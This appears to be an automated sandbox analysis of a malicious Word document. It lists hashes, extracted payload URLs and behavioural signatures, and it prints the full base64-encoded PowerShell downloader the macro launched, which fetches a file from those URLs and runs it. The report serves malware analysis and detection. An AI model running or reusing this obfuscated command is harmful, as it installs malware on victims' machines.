Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:19
Behavioral task
behavioral1
Sample
4e423abc3949a9d09540535f8b1fa4be04581c22773d77ad414ffda5f4ebc6b4.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4e423abc3949a9d09540535f8b1fa4be04581c22773d77ad414ffda5f4ebc6b4.doc
Resource
win10v2004-20241007-en
General
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Target
4e423abc3949a9d09540535f8b1fa4be04581c22773d77ad414ffda5f4ebc6b4.doc
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Size
224KB
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MD5
c40e4affc580567e0e8698b6d08cf775
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SHA1
ece6ba8fe93bc0a0cfa9b0fd6069d3f1b4d85554
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SHA256
4e423abc3949a9d09540535f8b1fa4be04581c22773d77ad414ffda5f4ebc6b4
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SHA512
792c04294a3f02f1e408dbb72d813d3be8bc9abd050ad7660a81e12f82eefd73d81d3d9618791030ab15e54d789e5a00e1dd30ecbb9d1dab32031aeafd42cb57
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SSDEEP
3072:f4PrXcuQuvpzm4bkiaMQgAlSilK4fbSpIg:QDRv1m4bnQgISEKQepIg
Malware Config
Extracted
http://marmolhi.com/_vti_bin/0nNKKlWZ4/
https://comerciopuravida.com/wp-admin/qqUV32Q/
http://www.closmaq.com.br/wp-admin/nc/
http://pulseti.com/isla/61D/
https://hotelunique.com/teste/oxda9J0BvF/
http://greensync.com.br/aspnet_clientOld/Xyicd/
http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1608 5004 powershell.exe -
Blocklisted process makes network request 8 IoCs
Processes:
powershell.exeflow pid process 23 1608 powershell.exe 27 1608 powershell.exe 30 1608 powershell.exe 33 1608 powershell.exe 34 1608 powershell.exe 37 1608 powershell.exe 39 1608 powershell.exe 44 1608 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 5088 WINWORD.EXE 5088 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1608 powershell.exe 1608 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1608 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 5088 WINWORD.EXE 5088 WINWORD.EXE 5088 WINWORD.EXE 5088 WINWORD.EXE 5088 WINWORD.EXE 5088 WINWORD.EXE 5088 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4e423abc3949a9d09540535f8b1fa4be04581c22773d77ad414ffda5f4ebc6b4.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82